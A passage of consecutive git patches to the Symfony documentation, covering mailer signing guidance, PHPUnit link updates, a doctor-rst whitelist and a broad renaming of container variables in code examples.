+++ b/reference/forms/types/options/help.rst.inc
@@ -1,7 +1,7 @@
 help
 ~~~~
 
-**type**: ``string`` or ``TranslatableMessage`` **default**: null
+**type**: ``string`` or ``TranslatableMessage`` **default**: ``null``
 
 Allows you to define a help message for the form field, which by default is
 rendered below the field::

From e45f6e9dc0ff57db7b17ce312b141857433ccff2 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Mon, 8 May 2023 14:01:13 +0200
Subject: [PATCH 4631/7107] Improve the warning about signing messages in a
 listener

---
 mailer.rst | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 712efa8a8c5..3a5e9223411 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1044,6 +1044,15 @@ Before signing/encrypting messages, make sure to have:
     When using OpenSSL to generate certificates, make sure to add the
     ``-addtrust emailProtection`` command option.
 
+.. caution::
+
+    These features require messages to be rendered,
+    which is not always immediate.
+    For example, :ref:`templated emails <mailer-twig>` content is generated
+    by a :class:`Symfony\\Component\\Mailer\\EventListener\\MessageListener`.
+    If you need to sign and/or encrypt such a message, you need to do so in
+    a :ref:`MessageEvent <messageevent>` listener with a negative priority.
+
 Signing Messages
 ~~~~~~~~~~~~~~~~
 
@@ -1432,13 +1441,6 @@ is sent::
         }
     }
 
-.. tip::
-
-    When using a ``MessageEvent`` listener to
-    :doc:`sign the email contents <signing-and-encrypting-messages>`, run it as
-    late as possible (e.g. setting a negative priority for it) so the email
-    contents are not set or modified after signing them.
-
 Development & Debugging
 -----------------------
 

From 07f6609a1b8bec0839a56d464e18b2abb06c753f Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 7 May 2023 22:57:08 +0200
Subject: [PATCH 4632/7107] [Fix pipeline] multiple_kernels.rst must respect
 doctor-rst

---
 .doctor-rst.yaml                   | 14 ++++++++++++++
 configuration/multiple_kernels.rst | 18 +++++++++---------
 2 files changed, 23 insertions(+), 9 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 0fc471cfee8..318d55b688a 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -101,3 +101,17 @@ whitelist:
         - '// bin/console'
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - '..  End to End Tests (E2E)'
+        - 'First, create a new ``apps`` directory at the root of your project, which will' # configuration/multiple_kernels.rst
+        - '├─ apps/' # configuration/multiple_kernels.rst
+        - '``apps/`` directory. Therefore, you should carefully consider what is' # configuration/multiple_kernels.rst
+        - 'Since the new ``apps/api/src/`` directory will host the PHP code related to the' # configuration/multiple_kernels.rst
+        - '"Api\\": "apps/api/src/"' # configuration/multiple_kernels.rst
+        - "return $this->getProjectDir().'/apps/'.$this->id.'/config';" # configuration/multiple_kernels.rst
+        - '``apps/`` as it is used in the Kernel to load the specific application' # configuration/multiple_kernels.rst
+        - '``apps/admin/templates/`` which you will need to manually configure under the' # configuration/multiple_kernels.rst
+        - '# apps/admin/config/packages/twig.yaml' # configuration/multiple_kernels.rst
+        - "'%kernel.project_dir%/apps/admin/templates': Admin" # configuration/multiple_kernels.rst
+        - '// apps/api/tests/ApiTestCase.php' # configuration/multiple_kernels.rst
+        - 'Now, create a ``tests/`` directory inside the ``apps/api/`` application. Then,' # configuration/multiple_kernels.rst
+        - '"Api\\Tests\\": "apps/api/tests/"' # configuration/multiple_kernels.rst
+        - '<directory>apps/api/tests</directory>' # configuration/multiple_kernels.rst
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 9464fcf39f7..cc50c27a1d4 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -164,12 +164,12 @@ resources::
             return ($_SERVER['APP_LOG_DIR'] ?? $this->getProjectDir().'/var/log').'/'.$this->id;
         }
 
-        protected function configureContainer(ContainerConfigurator $container): void
+        protected function configureContainer(ContainerConfigurator $containerConfigurator): void
         {
             // load common config files, such as the framework.yaml, as well as
             // specific configs required exclusively for the app itself
-            $this->doConfigureContainer($container, $this->getSharedConfigDir());
-            $this->doConfigureContainer($container, $this->getAppConfigDir());
+            $this->doConfigureContainer($containerConfigurator, $this->getSharedConfigDir());
+            $this->doConfigureContainer($containerConfigurator, $this->getAppConfigDir());
         }
 
         protected function configureRoutes(RoutingConfigurator $routes): void
@@ -180,16 +180,16 @@ resources::
             $this->doConfigureRoutes($routes, $this->getAppConfigDir());
         }
 
-        private function doConfigureContainer(ContainerConfigurator $container, string $configDir): void
+        private function doConfigureContainer(ContainerConfigurator $containerConfigurator, string $configDir): void
         {
-            $container->import($configDir.'/{packages}/*.{php,yaml}');
-            $container->import($configDir.'/{packages}/'.$this->environment.'/*.{php,yaml}');
+            $containerConfigurator->import($configDir.'/{packages}/*.{php,yaml}');
+            $containerConfigurator->import($configDir.'/{packages}/'.$this->environment.'/*.{php,yaml}');
 
             if (is_file($configDir.'/services.yaml')) {
-                $container->import($configDir.'/services.yaml');
-                $container->import($configDir.'/{services}_'.$this->environment.'.yaml');
+                $containerConfigurator->import($configDir.'/services.yaml');
+                $containerConfigurator->import($configDir.'/{services}_'.$this->environment.'.yaml');
             } else {
-                $container->import($configDir.'/{services}.php');
+                $containerConfigurator->import($configDir.'/{services}.php');
             }
         }
 

From d22a4bd4db92da667dfe8359f05e5459c27990b4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 May 2023 11:31:48 +0200
Subject: [PATCH 4633/7107] Tweaks

---
 mailer.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 3a5e9223411..ee69bd3b123 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1046,12 +1046,12 @@ Before signing/encrypting messages, make sure to have:
 
 .. caution::
 
-    These features require messages to be rendered,
-    which is not always immediate.
-    For example, :ref:`templated emails <mailer-twig>` content is generated
+    Signing and encrypting messages require their contents to be fully rendered.
+    For example, the content of :ref:`templated emails <mailer-twig>` is rendered
     by a :class:`Symfony\\Component\\Mailer\\EventListener\\MessageListener`.
-    If you need to sign and/or encrypt such a message, you need to do so in
-    a :ref:`MessageEvent <messageevent>` listener with a negative priority.
+    So, if you want to sign and/or encrypt such a message, you need to do it in
+    a :ref:`MessageEvent <messageevent>` listener run after it (you need to set
+    a negative priority to your listener).
 
 Signing Messages
 ~~~~~~~~~~~~~~~~

From 7b0bac7ff72206c5e1b3d56231716fb1417dca48 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 May 2023 17:11:43 +0200
Subject: [PATCH 4634/7107] Update all links to PHPUnit docs

---
 best_practices.rst                |  2 +-
 components/phpunit_bridge.rst     | 10 +++++-----
 create_framework/unit_testing.rst |  4 ++--
 form/unit_testing.rst             |  2 +-
 testing.rst                       |  8 ++++----
 5 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 159868118b3..02896abc627 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -463,4 +463,4 @@ you must set up a redirection.
 .. _`feature toggles`: https://en.wikipedia.org/wiki/Feature_toggle
 .. _`smoke testing`: https://en.wikipedia.org/wiki/Smoke_testing_(software)
 .. _`Webpack`: https://webpack.js.org/
-.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/9.5/writing-tests-for-phpunit.html#data-providers
+.. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.5/writing-tests-for-phpunit.html#data-providers
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 2d8803c4089..558fd808db6 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -1062,13 +1062,13 @@ not find the SUT:
     </listeners>
 
 .. _`PHPUnit`: https://phpunit.de
-.. _`PHPUnit event listener`: https://phpunit.de/manual/current/en/extending-phpunit.html#extending-phpunit.PHPUnit_Framework_TestListener
+.. _`PHPUnit event listener`: https://docs.phpunit.de/en/10.0/extending-phpunit.html#phpunit-s-event-system
 .. _`ErrorHandler component`: https://github.com/symfony/error-handler
-.. _`PHPUnit's assertStringMatchesFormat()`: https://phpunit.de/manual/current/en/appendixes.assertions.html#appendixes.assertions.assertStringMatchesFormat
+.. _`PHPUnit's assertStringMatchesFormat()`: https://docs.phpunit.de/en/9.5/assertions.html#assertstringmatchesformat
 .. _`PHP error handler`: https://www.php.net/manual/en/book.errorfunc.php
-.. _`environment variable`: https://phpunit.de/manual/current/en/appendixes.configuration.html#appendixes.configuration.php-ini-constants-variables
+.. _`environment variable`: https://docs.phpunit.de/en/9.5/configuration.html#the-env-element
 .. _`@-silencing operator`: https://www.php.net/manual/en/language.operators.errorcontrol.php
 .. _`Travis CI`: https://travis-ci.org/
-.. _`test listener`: https://phpunit.de/manual/current/en/appendixes.configuration.html#appendixes.configuration.test-listeners
-.. _`@covers`: https://phpunit.de/manual/current/en/appendixes.annotations.html#appendixes.annotations.covers
+.. _`test listener`: https://docs.phpunit.de/en/9.5/configuration.html#the-extensions-element
+.. _`@covers`: https://docs.phpunit.de/en/9.5/annotations.html#covers
 .. _`PHP namespace resolutions rules`: https://www.php.net/manual/en/language.namespaces.rules.php
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index c2d04115812..cd3b30cac6c 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -220,6 +220,6 @@ Symfony code.
 Now that we are confident (again) about the code we have written, we can
 safely think about the next batch of features we want to add to our framework.
 
-.. _`PHPUnit`: https://phpunit.readthedocs.io/en/9.5/
-.. _`test doubles`: https://phpunit.readthedocs.io/en/9.5/test-doubles.html
+.. _`PHPUnit`: https://docs.phpunit.de/en/9.5/
+.. _`test doubles`: https://docs.phpunit.de/en/9.5/test-doubles.html
 .. _`XDebug`: https://xdebug.org/
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index d67b5f3bae7..3c4a7b780a3 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -241,4 +241,4 @@ guessers using the :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestC
 and :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeGuessers`
 methods.
 
-.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/9.5/writing-tests-for-phpunit.html#data-providers
+.. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.5/writing-tests-for-phpunit.html#data-providers
diff --git a/testing.rst b/testing.rst
index 3ca9f5e6e8a..ed0ab1a8e2c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1115,13 +1115,13 @@ Learn more
     /components/css_selector
 
 .. _`PHPUnit`: https://phpunit.de/
-.. _`documentation`: https://phpunit.readthedocs.io/
-.. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/9.5/writing-tests-for-phpunit.html
-.. _`PHPUnit documentation`: https://phpunit.readthedocs.io/en/9.5/configuration.html
+.. _`documentation`: https://docs.phpunit.de/
+.. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/9.5/writing-tests-for-phpunit.html
+.. _`PHPUnit documentation`: https://docs.phpunit.de/en/9.5/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`Doctrine data fixtures`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/9.5/assertions.html
+.. _`PHPUnit Assertion`: https://docs.phpunit.de/en/9.5/assertions.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18

From b7d5c256c88f34ba00abe8cccd169bad295c62d9 Mon Sep 17 00:00:00 2001
From: Matthias Schmidt <matthias@mttsch.dev>
Date: Sun, 7 May 2023 20:11:10 +0200
Subject: [PATCH 4635/7107] [Frontend] Update package.json example path

See symfony/ux@561a4a3609bd234b5ef1dacc9c42f5f89f071372
---
 frontend/ux.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/ux.rst b/frontend/ux.rst
index a43bcd8d028..98360893905 100644
--- a/frontend/ux.rst
+++ b/frontend/ux.rst
@@ -59,7 +59,7 @@ PHP package. For example:
     {
         "devDependencies": {
             "...": "",
-            "@symfony/ux-chartjs": "file:vendor/symfony/ux-chartjs/Resources/assets"
+            "@symfony/ux-chartjs": "file:vendor/symfony/ux-chartjs/assets"
         }
     }
 

From 26d021c632d989621e541fdfe12b408e8c927aa7 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Wed, 10 May 2023 08:41:12 +0200
Subject: [PATCH 4636/7107] Use "$container" consistently

---
 .doctor-rst.yaml                              |  4 +-
 bundles/best_practices.rst                    |  4 +-
 bundles/configuration.rst                     | 12 ++--
 bundles/extension.rst                         |  8 +--
 bundles/prepend_extension.rst                 | 20 +++---
 cache.rst                                     |  8 +--
 components/dependency_injection.rst           | 52 +++++++-------
 .../_imports-parameters-note.rst.inc          |  4 +-
 .../dependency_injection/compilation.rst      | 72 +++++++++----------
 components/event_dispatcher.rst               | 20 +++---
 components/serializer.rst                     |  4 +-
 components/uid.rst                            |  8 +--
 components/var_dumper.rst                     |  4 +-
 configuration.rst                             | 50 ++++++-------
 configuration/env_var_processors.rst          | 20 +++---
 configuration/micro_kernel_trait.rst          | 14 ++--
 configuration/multiple_kernels.rst            | 18 ++---
 configuration/using_parameters_in_dic.rst     |  4 +-
 console/lazy_commands.rst                     | 10 +--
 controller/argument_value_resolver.rst        |  4 +-
 controller/upload_file.rst                    |  4 +-
 create_framework/dependency_injection.rst     | 24 +++----
 doctrine/events.rst                           | 12 ++--
 event_dispatcher.rst                          |  8 +--
 frontend/custom_version_strategy.rst          |  4 +-
 http_cache/cache_invalidation.rst             |  4 +-
 mailer.rst                                    |  4 +-
 messenger/multiple_buses.rst                  |  4 +-
 profiler.rst                                  |  4 +-
 quick_tour/the_architecture.rst               |  4 +-
 reference/configuration/framework.rst         |  4 +-
 reference/dic_tags.rst                        |  8 +--
 routing/custom_route_loader.rst               |  4 +-
 security.rst                                  |  8 +--
 security/access_control.rst                   |  4 +-
 service_container.rst                         | 22 +++---
 service_container/alias_private.rst           | 20 +++---
 service_container/autowiring.rst              | 10 +--
 service_container/calls.rst                   |  2 +-
 service_container/compiler_passes.rst         | 16 ++---
 service_container/configurators.rst           |  8 +--
 service_container/expression_language.rst     |  6 +-
 service_container/factories.rst               | 20 +++---
 service_container/import.rst                  |  8 +--
 service_container/injection_types.rst         | 12 ++--
 service_container/lazy_services.rst           |  8 +--
 service_container/optional_dependencies.rst   |  8 +--
 service_container/parent_services.rst         |  8 +--
 service_container/service_closures.rst        |  6 +-
 service_container/service_decoration.rst      | 32 ++++-----
 .../service_subscribers_locators.rst          | 30 ++++----
 service_container/shared.rst                  |  4 +-
 service_container/synthetic_services.rst      |  4 +-
 service_container/tags.rst                    | 66 ++++++++---------
 session.rst                                   | 16 ++---
 testing.rst                                   |  4 +-
 56 files changed, 375 insertions(+), 375 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 318d55b688a..6e22b45bb97 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -2,8 +2,8 @@ rules:
     american_english: ~
     argument_variable_must_match_type:
         arguments:
-            - { type: 'ContainerBuilder', name: 'containerBuilder' }
-            - { type: 'ContainerConfigurator', name: 'containerConfigurator' }
+            - { type: 'ContainerBuilder', name: 'container' }
+            - { type: 'ContainerConfigurator', name: 'container' }
     avoid_repetetive_words: ~
     blank_line_after_anchor: ~
     blank_line_after_directive: ~
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index d5c73209f26..e622cfd243f 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -442,8 +442,8 @@ The end user can provide values in any configuration file:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->parameters()
+        return static function (ContainerConfigurator $container) {
+            $container->parameters()
                 ->set('acme_blog.author.email', 'fabien@example.com')
             ;
         };
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index e25d6e01036..a30b6310ec1 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -217,7 +217,7 @@ force validation (e.g. if an additional option was passed, an exception will be
 thrown)::
 
     // src/Acme/SocialBundle/DependencyInjection/AcmeSocialExtension.php
-    public function load(array $configs, ContainerBuilder $containerBuilder)
+    public function load(array $configs, ContainerBuilder $container)
     {
         $configuration = new Configuration();
 
@@ -259,15 +259,15 @@ In your extension, you can load this and dynamically set its arguments::
     use Symfony\Component\Config\FileLocator;
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
 
-    public function load(array $configs, ContainerBuilder $containerBuilder)
+    public function load(array $configs, ContainerBuilder $container)
     {
-        $loader = new XmlFileLoader($containerBuilder, new FileLocator(dirname(__DIR__).'/Resources/config'));
+        $loader = new XmlFileLoader($container, new FileLocator(dirname(__DIR__).'/Resources/config'));
         $loader->load('services.xml');
 
         $configuration = new Configuration();
         $config = $this->processConfiguration($configuration, $configs);
 
-        $definition = $containerBuilder->getDefinition('acme.social.twitter_client');
+        $definition = $container->getDefinition('acme.social.twitter_client');
         $definition->replaceArgument(0, $config['twitter']['client_id']);
         $definition->replaceArgument(1, $config['twitter']['client_secret']);
     }
@@ -288,7 +288,7 @@ In your extension, you can load this and dynamically set its arguments::
         class AcmeHelloExtension extends ConfigurableExtension
         {
             // note that this method is called loadInternal and not load
-            protected function loadInternal(array $mergedConfig, ContainerBuilder $containerBuilder)
+            protected function loadInternal(array $mergedConfig, ContainerBuilder $container)
             {
                 // ...
             }
@@ -304,7 +304,7 @@ In your extension, you can load this and dynamically set its arguments::
     (e.g. by overriding configurations and using :phpfunction:`isset` to check
     for the existence of a value). Be aware that it'll be very hard to support XML::
 
-        public function load(array $configs, ContainerBuilder $containerBuilder)
+        public function load(array $configs, ContainerBuilder $container)
         {
             $config = [];
             // let resources override the previous set value
diff --git a/bundles/extension.rst b/bundles/extension.rst
index 2a8a5965451..74659cd98b6 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -34,7 +34,7 @@ This is how the extension of an AcmeHelloBundle should look like::
 
     class AcmeHelloExtension extends Extension
     {
-        public function load(array $configs, ContainerBuilder $containerBuilder)
+        public function load(array $configs, ContainerBuilder $container)
         {
             // ... you'll load the files here later
         }
@@ -89,10 +89,10 @@ For instance, assume you have a file called ``services.xml`` in the
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
 
     // ...
-    public function load(array $configs, ContainerBuilder $containerBuilder)
+    public function load(array $configs, ContainerBuilder $container)
     {
         $loader = new XmlFileLoader(
-            $containerBuilder,
+            $container,
             new FileLocator(__DIR__.'/../Resources/config')
         );
         $loader->load('services.xml');
@@ -115,7 +115,7 @@ they are compiled when generating the application cache to improve the overall
 performance. Define the list of annotated classes to compile in the
 ``addAnnotatedClassesToCompile()`` method::
 
-    public function load(array $configs, ContainerBuilder $containerBuilder)
+    public function load(array $configs, ContainerBuilder $container)
     {
         // ...
 
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 6ad1ad758d3..35c277ec0e6 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -31,7 +31,7 @@ To give an Extension the power to do this, it needs to implement
     {
         // ...
 
-        public function prepend(ContainerBuilder $containerBuilder)
+        public function prepend(ContainerBuilder $container)
         {
             // ...
         }
@@ -52,15 +52,15 @@ a configuration setting in multiple bundles as well as disable a flag in multipl
 in case a specific other bundle is not registered::
 
     // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php
-    public function prepend(ContainerBuilder $containerBuilder)
+    public function prepend(ContainerBuilder $container)
     {
         // get all bundles
-        $bundles = $containerBuilder->getParameter('kernel.bundles');
+        $bundles = $container->getParameter('kernel.bundles');
         // determine if AcmeGoodbyeBundle is registered
         if (!isset($bundles['AcmeGoodbyeBundle'])) {
             // disable AcmeGoodbyeBundle in bundles
             $config = ['use_acme_goodbye' => false];
-            foreach ($containerBuilder->getExtensions() as $name => $extension) {
+            foreach ($container->getExtensions() as $name => $extension) {
                 switch ($name) {
                     case 'acme_something':
                     case 'acme_other':
@@ -70,21 +70,21 @@ in case a specific other bundle is not registered::
                         // note that if the user manually configured
                         // use_acme_goodbye to true in config/services.yaml
                         // then the setting would in the end be true and not false
-                        $containerBuilder->prependExtensionConfig($name, $config);
+                        $container->prependExtensionConfig($name, $config);
                         break;
                 }
             }
         }
 
         // get the configuration of AcmeHelloExtension (it's a list of configuration)
-        $configs = $containerBuilder->getExtensionConfig($this->getAlias());
+        $configs = $container->getExtensionConfig($this->getAlias());
 
         // iterate in reverse to preserve the original order after prepending the config
         foreach (array_reverse($configs) as $config) {
             // check if entity_manager_name is set in the "acme_hello" configuration
             if (isset($config['entity_manager_name'])) {
                 // prepend the acme_something settings with the entity_manager_name
-                $containerBuilder->prependExtensionConfig('acme_something', [
+                $container->prependExtensionConfig('acme_something', [
                     'entity_manager_name' => $config['entity_manager_name'],
                 ]);
             }
@@ -141,13 +141,13 @@ registered and the ``entity_manager_name`` setting for ``acme_hello`` is set to
         // config/packages/acme_something.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->extension('acme_something', [
+        return static function (ContainerConfigurator $container) {
+            $container->extension('acme_something', [
                 // ...
                 'use_acme_goodbye' => false,
                 'entity_manager_name' => 'non_default',
             ]);
-            $containerConfigurator->extension('acme_other', [
+            $container->extension('acme_other', [
                 // ...
                 'use_acme_goodbye' => false,
             ]);
diff --git a/cache.rst b/cache.rst
index 48d3a250bd1..118ef13a326 100644
--- a/cache.rst
+++ b/cache.rst
@@ -384,8 +384,8 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return function(ContainerConfigurator $containerConfigurator) {
-                $containerConfigurator->services()
+            return function(ContainerConfigurator $container) {
+                $container->services()
                     // ...
 
                     ->set('app.cache.adapter.redis')
@@ -465,14 +465,14 @@ and use that when configuring the pool.
         use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
+        return static function (ContainerBuilder $container, FrameworkConfig $framework) {
             $framework->cache()
                 ->pool('cache.my_redis')
                     ->adapters(['cache.adapter.redis'])
                     ->provider('app.my_custom_redis_provider');
 
 
-            $containerBuilder->register('app.my_custom_redis_provider', \Redis::class)
+            $container->register('app.my_custom_redis_provider', \Redis::class)
                 ->setFactory([RedisAdapter::class, 'createConnection'])
                 ->addArgument('redis://localhost')
                 ->addArgument([
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index dcc98bf2450..a6d8521f03a 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -45,8 +45,8 @@ You can register this in the container as a service::
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
 
-    $containerBuilder = new ContainerBuilder();
-    $containerBuilder->register('mailer', 'Mailer');
+    $container = new ContainerBuilder();
+    $container->register('mailer', 'Mailer');
 
 An improvement to the class to make it more flexible would be to allow
 the container to set the ``transport`` used. If you change the class
@@ -68,8 +68,8 @@ Then you can set the choice of transport in the container::
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
 
-    $containerBuilder = new ContainerBuilder();
-    $containerBuilder
+    $container = new ContainerBuilder();
+    $container
         ->register('mailer', 'Mailer')
         ->addArgument('sendmail');
 
@@ -83,9 +83,9 @@ the ``Mailer`` service's constructor argument::
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
 
-    $containerBuilder = new ContainerBuilder();
-    $containerBuilder->setParameter('mailer.transport', 'sendmail');
-    $containerBuilder
+    $container = new ContainerBuilder();
+    $container->setParameter('mailer.transport', 'sendmail');
+    $container
         ->register('mailer', 'Mailer')
         ->addArgument('%mailer.transport%');
 
@@ -112,14 +112,14 @@ not exist yet. Use the ``Reference`` class to tell the container to inject the
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Reference;
 
-    $containerBuilder = new ContainerBuilder();
+    $container = new ContainerBuilder();
 
-    $containerBuilder->setParameter('mailer.transport', 'sendmail');
-    $containerBuilder
+    $container->setParameter('mailer.transport', 'sendmail');
+    $container
         ->register('mailer', 'Mailer')
         ->addArgument('%mailer.transport%');
 
-    $containerBuilder
+    $container
         ->register('newsletter_manager', 'NewsletterManager')
         ->addArgument(new Reference('mailer'));
 
@@ -144,14 +144,14 @@ If you do want to though then the container can call the setter method::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Reference;
 
-    $containerBuilder = new ContainerBuilder();
+    $container = new ContainerBuilder();
 
-    $containerBuilder->setParameter('mailer.transport', 'sendmail');
-    $containerBuilder
+    $container->setParameter('mailer.transport', 'sendmail');
+    $container
         ->register('mailer', 'Mailer')
         ->addArgument('%mailer.transport%');
 
-    $containerBuilder
+    $container
         ->register('newsletter_manager', 'NewsletterManager')
         ->addMethodCall('setMailer', [new Reference('mailer')]);
 
@@ -160,11 +160,11 @@ like this::
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
 
-    $containerBuilder = new ContainerBuilder();
+    $container = new ContainerBuilder();
 
     // ...
 
-    $newsletterManager = $containerBuilder->get('newsletter_manager');
+    $newsletterManager = $container->get('newsletter_manager');
 
 Avoiding your Code Becoming Dependent on the Container
 ------------------------------------------------------
@@ -198,8 +198,8 @@ Loading an XML config file::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
 
-    $containerBuilder = new ContainerBuilder();
-    $loader = new XmlFileLoader($containerBuilder, new FileLocator(__DIR__));
+    $container = new ContainerBuilder();
+    $loader = new XmlFileLoader($container, new FileLocator(__DIR__));
     $loader->load('services.xml');
 
 Loading a YAML config file::
@@ -208,8 +208,8 @@ Loading a YAML config file::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\YamlFileLoader;
 
-    $containerBuilder = new ContainerBuilder();
-    $loader = new YamlFileLoader($containerBuilder, new FileLocator(__DIR__));
+    $container = new ContainerBuilder();
+    $loader = new YamlFileLoader($container, new FileLocator(__DIR__));
     $loader->load('services.yaml');
 
 .. note::
@@ -233,8 +233,8 @@ into a separate config file and load it in a similar way::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\PhpFileLoader;
 
-    $containerBuilder = new ContainerBuilder();
-    $loader = new PhpFileLoader($containerBuilder, new FileLocator(__DIR__));
+    $container = new ContainerBuilder();
+    $loader = new PhpFileLoader($container, new FileLocator(__DIR__));
     $loader->load('services.php');
 
 You can now set up the ``newsletter_manager`` and ``mailer`` services using
@@ -287,13 +287,13 @@ config files:
 
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->parameters()
+        return static function (ContainerConfigurator $container) {
+            $container->parameters()
                 // ...
                 ->set('mailer.transport', 'sendmail')
             ;
 
-            $services = $containerConfigurator->services();
+            $services = $container->services();
             $services->set('mailer', 'Mailer')
                 ->args(['%mailer.transport%'])
             ;
diff --git a/components/dependency_injection/_imports-parameters-note.rst.inc b/components/dependency_injection/_imports-parameters-note.rst.inc
index 45a75652fda..d17d6d60b26 100644
--- a/components/dependency_injection/_imports-parameters-note.rst.inc
+++ b/components/dependency_injection/_imports-parameters-note.rst.inc
@@ -31,6 +31,6 @@
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return static function (ContainerConfigurator $containerConfigurator) {
-                $containerConfigurator->import('%kernel.project_dir%/somefile.yaml');
+            return static function (ContainerConfigurator $container) {
+                $container->import('%kernel.project_dir%/somefile.yaml');
             };
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 3880d6b5508..edaa8be8f47 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -61,10 +61,10 @@ A very simple extension may just load configuration files into the container::
 
     class AcmeDemoExtension implements ExtensionInterface
     {
-        public function load(array $configs, ContainerBuilder $containerBuilder)
+        public function load(array $configs, ContainerBuilder $container)
         {
             $loader = new XmlFileLoader(
-                $containerBuilder,
+                $container,
                 new FileLocator(__DIR__.'/../Resources/config')
             );
             $loader->load('services.xml');
@@ -114,14 +114,14 @@ are loaded::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\YamlFileLoader;
 
-    $containerBuilder = new ContainerBuilder();
-    $containerBuilder->registerExtension(new AcmeDemoExtension);
+    $container = new ContainerBuilder();
+    $container->registerExtension(new AcmeDemoExtension);
 
-    $loader = new YamlFileLoader($containerBuilder, new FileLocator(__DIR__));
+    $loader = new YamlFileLoader($container, new FileLocator(__DIR__));
     $loader->load('config.yaml');
 
     // ...
-    $containerBuilder->compile();
